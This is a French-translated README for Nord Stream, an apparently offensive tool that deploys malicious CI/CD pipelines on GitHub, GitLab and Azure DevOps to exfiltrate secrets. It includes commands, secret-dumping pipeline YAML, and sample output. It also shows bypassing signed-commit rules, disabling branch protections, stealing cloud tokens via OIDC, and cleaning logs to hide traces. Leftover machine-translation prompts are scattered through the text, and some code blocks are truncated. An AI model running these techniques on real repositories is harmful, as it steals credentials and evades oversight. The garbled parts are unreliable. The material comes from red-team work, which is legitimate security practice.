
Nord Stream est un outil qui vous permet d'extraire des secrets stockés dans les environnements CI/CD en déployant des pipelines malveillants. Il prend actuellement en charge Azure DevOps, GitHub et GitLab.
Nord Stream est un outil qui vous permet d'extraire les secrets stockés dans les environnements CI/CD en déployant des pipelines malveillants.
Il prend actuellement en charge Azure DevOps, GitHub et GitLab.
En savoir plus dans l'article de blog suivant : https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks
$ pipx install git+https://github.com/synacktiv/nord-stream
`git` est également requis (voir https://git-scm.com/download/) et doit exister dans votre `PATH`.
## Utilisation
Voici un exemple simple sur GitHub ; au départ, on peut énumérer les différents secrets.```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
- REPO_SECRET
- SUPER_SECRET
[*] PROD secrets:
- PROD_SECRET
Ensuite, procédez à l'exfiltration :```sh
$ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo"
[] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch
[] Getting secrets from repo: "org/repo"
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_SUPER_SECRET=value for super secret
secret_REPO_SECRET=repository secret
[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment
[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github
### Arguments partagés
Certains arguments sont partagés entre [GitHub](#github), [Azure DevOps](#azure-devops) et [GitLab](#gitlab), voici quelques exemples.
#### Décrire le jeton
L'option `--describe-token` peut être utilisée pour afficher des informations générales sur votre jeton :```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
- Login: CICD
- IsAdmin: False
- Id: 1337
- Bio: None
L'option --build-yaml peut être utilisée pour créer un fichier de pipeline sans le déployer. Elle récupère les différents noms de secrets pour construire le pipeline associé, qui peut être utilisé pour ajouter des étapes personnalisées :```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml
[+] YAML file:
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0
name: command
env:
secret_PROD_SECRET: ${{secrets.PROD_SECRET}}
environment: PROD
#### YAML
L'option `--yaml` peut être utilisée pour déployer un pipeline personnalisé:```yml
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: echo "Hello from step 1"
name: step 1
- run: echo "Doing some important stuff here"
name: command
- run: echo "Hello from last step "
name: last step
I don't see any content in the INPUT section to translate. Please provide the chunk text.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here
[] Cleaning logs. [] Check output: .../nord-stream-logs/github
Par défaut, il affichera la sortie de la tâche nommée `command` du job `init`, mais tout est stocké localement et peut être consulté manuellement :```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step
Par défaut, Nord Stream tentera de supprimer les traces laissées après le déploiement d'un pipeline, selon vos privilèges. Pour conserver les traces, l'option --no-clean peut être utilisée. Cela conservera les journaux du pipeline, mais cela annulera toujours les modifications apportées au dépôt.
Notez que pour GitLab, certaines traces ne peuvent pas être supprimées.
Les administrateurs de dépôt peuvent imposer la signature obligatoire des commits sur une branche afin de bloquer tous les commits qui ne sont pas signés et vérifiés. Avec Nord Stream, il est possible de signer les commits pour contourner cette protection.
Commencez par créer et importer votre clé GPG sur la plateforme SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]
Aucun contenu source n'a été fourni. Veuillez coller le bloc Markdown à traduire.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
[No content provided after "INPUT:"]```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
### Azure DevOps
Nord Stream peut extraire les types de secrets suivants :
- Groupes de variables (vg)
- Fichiers sécurisés (sf)
- Connexions de service
#### Connexions de service
Azure DevOps offre la possibilité de créer des connexions avec des services externes et distants pour exécuter des tâches dans un travail. Pour ce faire, des connexions de service sont utilisées. Une connexion de service contient les informations d'identification d'une identité vers un service distant. Il existe plusieurs types de connexions de service dans Azure DevOps.
Nord Stream prend actuellement en charge l'extraction de secrets pour les types de connexions de service suivants :
- AzureRM
- GitHub
- AWS
- SonarQube
- SSH
Si vous rencontrez un type non pris en charge, veuillez ouvrir une issue ou soumettre une pull request :)
##### SSH
L'extraction pour ce type de connexion de service a été pénible à implémenter. Le résultat est le suivant :```
hostname:::port:::user:::password:::privatekey
Si vous souhaitez l'exécuter sur un runner auto-hébergé, vous pouvez procéder comme suit :```
$ nord-stream devops ... --build-yaml test.yml --build-type ssh
[+] YAML file:
trigger: none
pool:
vmImage: ubuntu-latest
steps:
Ensuite, vous devez :
1) remplacer `vmImage: ubuntu-latest` par `name: 'Nom du pool auto-hébergé'`
2) ajouter le nom de la connexion de service dans le placeholder `#FIXME`.
3) déployer le pipeline avec : `--yaml test.yml`
Si vous devez exécuter ceci sur un runner auto-hébergé Windows, dans la méthode `generatePipelineForSSH`, remplacez `_serviceConnectionTemplateSSH` par `_serviceConnectionTemplateSSHWindows` et effectuez les actions décrites précédemment.
Remarque : pour les runners auto-hébergés Windows et Linux, vous devez adapter le chemin (`/home/vsts/work/_tasks/` ou `D:\a\`) pour qu'il corresponde au chemin où le runner est déployé. Cette information peut être obtenue dans l'onglet `Capabilities` d'un agent sur Azure DevOps.
#### Lister les organisations
Avec un jeton d'accès, il est possible de lister les organisations liées à un utilisateur :```
$ nord-stream devops --token "eyJ0eXA..." --list-orgs
[*] User orgs:
- myorg
- supersecretorg
Ceci est basé sur cette recherche.
$ nord-stream devops -h CICD pipeline exploitation tool
Usage: nord-stream devops [options] --token --org [extraction] [--project --write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --yaml --project [--write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --build-yaml [--build-type ] nord-stream devops [options] --token --org --clean-logs [--project ] nord-stream devops [options] --token --org --list-projects [--write-filter] nord-stream devops [options] --token --org (--list-secrets [--project --write-filter] | --list-users) nord-stream devops [options] --token --org --describe-token
Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir
Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits
args: --token Azure DevOps personal token or JWT --org Org name -p, --project Run on selected project (can be a file) -y, --yaml Run arbitrary job --clean-logs Delete all pipeline created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --list-projects List all projects. --list-secrets List all secrets. --list-users List all users. --write-filter Filter projects where current user has write or admin access. --build-yaml Create a pipeline yaml file with default configuration. --build-type Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh --describe-token Display information on the token --branch-name Use specific branch name for deployment. --pipeline-name Use pipeline for deployment. --repo-name Use specific repo for deployment.
Exctraction: --extract Extract following secrets [vg,sf,gh,az,aws,sonar,ssh] --no-extract Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]
Examples: List all secrets from all projects $ nord-stream devops --token "$PAT" --org myorg --list-secrets
Dump all secrets from all projects
$ nord-stream devops --token "$PAT" --org myorg
Authors: @hugow @0hexit
### GitHub
#### Lister les protections
L'option `--list-protections` peut être utilisée pour lister les protections appliquées à une branche et aux environnements :```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --list-protections
[*] Using branch: "main"
[*] Checking security: "synacktiv/repo"
[*] Found branch protection rule on "main" branch
[*] Branch protections:
- enforce admins: True
- block creations: True
- required signatures: True
- allow force pushes: False
- allow deletions: False
- required pull request reviews: False
- required linear history: False
- required conversation resolution: False
- lock branch: False
- allow fork syncing: False
[*] Environment protection for: "DEV":
- deployment branch policy: custom
[*] No environment protection rule found for: "INT"
[*] Environment protection for: "PROD":
- deployment branch policy: custom
Selon vos permissions, vous pouvez avoir moins d'informations ; seuls les administrateurs peuvent avoir tous les détails des protections.
L'option --disable-protections peut être utilisée pour désactiver temporairement les protections appliquées à une branche ou à un environnement, réaliser le dump et restaurer toutes les protections :```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections
[] Using branch: "main"
[+] "synacktiv/repo"
[] Found branch protection rule on "main" branch
[...]
[!] Removing branch protection, wait until it's restored.
[] Getting secrets from environment: "prod" (synacktiv/repo)
[] Environment protection for: "PROD":
- deployment branch policy: custom
[!] Modifying env protection, wait until it's restored.
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[!] Restoring env protections.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
[*] Cleaning logs. [!] Restoring branch protection.
Cela nécessite des privilèges administrateur.
#### Forcer
Par défaut, si Nord Stream détecte une protection sur une branche ou sur un environnement, il n'effectuera pas l'extraction des secrets. Si vous pensez que les protections sont trop permissives ou peuvent être contournées avec vos privilèges, l'option `--force` peut être utilisée pour déployer le pipeline indépendamment des protections.
#### Azure OIDC
OIDC (OpenID Connect) peut être utilisé pour se connecter à des services cloud. L'idée générale est de permettre aux pipelines ou workflows autorisés d'obtenir des jetons d'accès à courte durée de vie directement auprès d'un fournisseur cloud, sans impliquer de secrets statiques. L'autorisation repose sur des relations de confiance configurées côté fournisseur cloud et est conditionnée par l'origine du pipeline ou du workflow.
Voici un exemple de workflow GitHub utilisant OIDC :```yaml
[...]
steps:
- name: OIDC Login to Azure Public Cloud
uses: azure/login@v1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional
Si vous rencontrez un tel workflow, cela signifie que le dépôt pourrait être configuré pour obtenir un jeton d'accès à courte durée de vie qui peut vous donner accès aux ressources Azure.
Nord Stream est capable de déployer un pipeline pour récupérer un tel jeton d'accès avec les options suivantes :```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 [] Using branch: "main" [+] "synacktiv/repo" [] No branch protection rule found on "main" branch [] Running OIDC Azure access tokens generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC access tokens: Access token to use with Azure Resource Manager API: { "accessToken": "eyJ0eXAiOiJK[...]PVig", "expiresOn": "2023-07-18 23:18:57.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }
Access token to use with MS Graph API: { "accessToken": "eyJ0eXAi[...]_qTA", "expiresOn": "2023-07-19 22:18:59.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }
Le `--azure-subscription-id` est optionnel et peut être utilisé pour obtenir un jeton d'accès pour un abonnement spécifique.
#### AWS OIDC
La même technique (voir [Azure OIDC](#azure-oidc)) peut être utilisée pour obtenir un jeton de session sur AWS.
Voici un exemple de workflow utilisant AWS OIDC :```yaml
[...]
steps:
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole
role-session-name: oidcrolesession
aws-region: us-east-1
Si vous rencontrez un tel workflow, cela signifie que le dépôt peut être configuré pour obtenir un jeton d'accès AWS qui peut vous donner accès aux ressources AWS.
Nord Stream est capable de déployer un pipeline pour récupérer ce jeton d'accès avec les options suivantes :```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force [+] "Synacktiv/repo" [] Running OIDC AWS credentials generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC credentials: AWS_DEFAULT_REGION=us-east-1 AWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6 AWS_REGION=us-east-1 AWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO AWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA
#### Aide```
$ nord-stream github -h
CICD pipeline exploitation tool
Usage:
nord-stream github [options] --token <ghp> --org <org> [--repo <repo> --no-repo --no-env --no-org --env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> --yaml <yaml> --repo <repo> [--env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> ([--clean-logs] [--clean-branch-policy]) [--repo <repo> --branch-name <name>]
nord-stream github [options] --token <ghp> --org <org> --build-yaml <filename> --repo <repo> [--env <env>]
nord-stream github [options] --token <ghp> --org <org> --azure-tenant-id <tenant> --azure-client-id <client> [--azure-subscription-id <subscription> --repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
nord-stream github [options] --token <ghp> --org <org> --aws-role <role> --aws-region <region> [--repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
nord-stream github [options] --token <ghp> --org <org> --list-protections [--repo <repo> --branch-name <name> --disable-protections (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> --list-secrets [--repo <repo> --no-repo --no-env --no-org]
nord-stream github [options] --token <ghp> [--org <org>] --list-repos [--write-filter]
nord-stream github [options] --token <ghp> --describe-token
Options:
-h --help Show this screen.
--version Show version.
-v, --verbose Verbose mode
-d, --debug Debug mode
--output-dir <dir> Output directory for logs
Signing:
--key-id <id> GPG primary key ID
--user <user> User used to sign commits
--email <email> Email address used to sign commits
args
--token <ghp> Github personal token
--org <org> Org name
-r, --repo <repo> Run on selected repo (can be a file)
-y, --yaml <yaml> Run arbitrary job
--clean-logs Delete all logs created by this tool. This operation is done by default but can be manually triggered.
--no-clean Don't clean workflow logs (default false)
--clean-branch-policy Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered.
--build-yaml <filename> Create a pipeline yaml file with all secrets.
--env <env> Specify env for the yaml file creation.
--no-repo Don't extract repo secrets.
--no-env Don't extract environnments secrets.
--no-org Don't extract organization secrets.
--azure-tenant-id <tenant> Identifier of the Azure tenant associated with the application having federated credentials (OIDC related).
--azure-subscription-id <subscription> Identifier of the Azure subscription associated with the application having federated credentials (OIDC related).
--azure-client-id <client> Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related).
--aws-role <role> AWS role to assume (OIDC related).
--aws-region <region> AWS region (OIDC related).
--list-protections List all protections.
--list-repos List all repos.
--list-secrets List all secrets.
--disable-protections Disable the branch protection rules (needs admin rights)
--write-filter Filter repo where current user has write or admin access.
--force Don't check environment and branch protections.
--branch-name <name> Use specific branch name for deployment.
--describe-token Display information on the token
Examples:
List all secrets from all repositories
$ nord-stream github --token "$GHP" --org myorg --list-secrets
Dump all secrets from all repositories and try to disable branch protections
$ nord-stream github --token "$GHP" --org myorg --disable-protections
Authors: @hugow @0hexit
Comme décrit dans l'article, il n'existe aucun moyen de supprimer les journaux dans l'onglet activité après un déploiement de pipeline. Cela doit être pris en compte lors des engagements Red Team.
L'option --list-secrets peut être utilisée pour lister et extraire les secrets de GitLab.
La façon dont GitLab gère les secrets est un peu différente de celle d'Azure DevOps et de GitHub action. Avec un accès administrateur à un projet, un groupe ou même un accès administrateur sur l'instance GitLab, il est possible d'extraire toutes les variables CI/CD définies sans déployer de pipeline.
Cependant, à partir d'un utilisateur à faibles privilèges, il n'est pas possible de lister les secrets définis au niveau du projet, du groupe ou de l'instance. Toutefois, si les utilisateurs ont des droits d'écriture sur un projet, ils pourront déployer un pipeline malveillant pour exfiltrer les variables d'environnement exposant les variables CI/CD. Cela signifie qu'un utilisateur à faibles privilèges n'a aucun moyen de savoir si un secret est défini dans un projet spécifique. La seule façon est d'examiner les pipelines légitimes déjà présents dans un projet et de vérifier si un pipeline utilise des variables d'environnement sensibles.
Voici un fichier de pipeline pour effectuer cette opération sur GitLab :```yaml stages:
deploy-production: image: ubuntu:latest stage: synacktiv script: - env | base64 -w0 | base64 -w 0
GitLab prend également en charge les fichiers sécurisés comme Azure DevOps. Les fichiers sécurisés sont définis au niveau du projet. Comme pour les variables, il n'est pas possible de lister les fichiers sécurisés sans accès administrateur au projet. Cependant, avec un accès administrateur, nord-stream tentera d'exfiltrer les fichiers sécurisés liés aux projets.
#### YAML
Identique à [YAML](#yaml), cependant vous devez fournir le chemin complet du projet comme ceci :```sh
$ nord-stream gitlab --token "$PAT" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml
La sortie de la commande --list-projects renvoie un tel chemin.
Identique à Liste des protections GitHub
$ nord-stream gitlab -h CICD pipeline exploitation tool
Usage: nord-stream gitlab [options] --token (--list-secrets | --list-protections) [--project --group --no-project --no-group --no-instance --write-filter] nord-stream gitlab [options] --token ( --list-groups | --list-projects ) [--project --group --write-filter] nord-stream gitlab [options] --token --yaml --project [--no-clean] nord-stream gitlab [options] --token --clean-logs [--project ] nord-stream gitlab [options] --token --describe-token
Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir
Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits
args: --token GitLab personal access token or _gitlab_session cookie --project Run on selected project (can be a file) --group Run on selected group (can be a file) --list-secrets List all secrets. --list-protections List branch protection rules. --list-projects List all projects. --list-groups List all groups. --write-filter Filter repo where current user has developer access or more. --no-project Don't extract project secrets. --no-group Don't extract group secrets. --no-instance Don't extract instance secrets. -y, --yaml Run arbitrary job --branch-name Use specific branch name for deployment. --clean-logs Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --describe-token Display information on the token
Examples: Dump all secrets $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --list-secrets
Deploy the custom pipeline on the master branch
$ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'
Authors: @hugow @0hexit
## TODO
- [ ] Ajouter la prise en charge des URL correspondant aux instances Azure DevOps Server (solutions sur site)
- [ ] Ajouter une option pour extraire les secrets via des hôtes Windows
- [ ] Ajouter la prise en charge d'autres environnements CI/CD (Jenkins/Bitbucket)
- [ ] Utiliser l'API GraphQL de GitHub au lieu de l'API REST pour lister les règles de protection de branche et les désactiver temporairement si elles correspondent à la branche malveillante sur le point d'être poussée
## Contact
Veuillez soumettre tout bug, problème, question ou demande de fonctionnalité dans la section « Issues » ou envoyez-les-nous sur Twitter [@hugow](https://twitter.com/hugow_vincent) et [@0hexit](https://twitter.com/0hexit).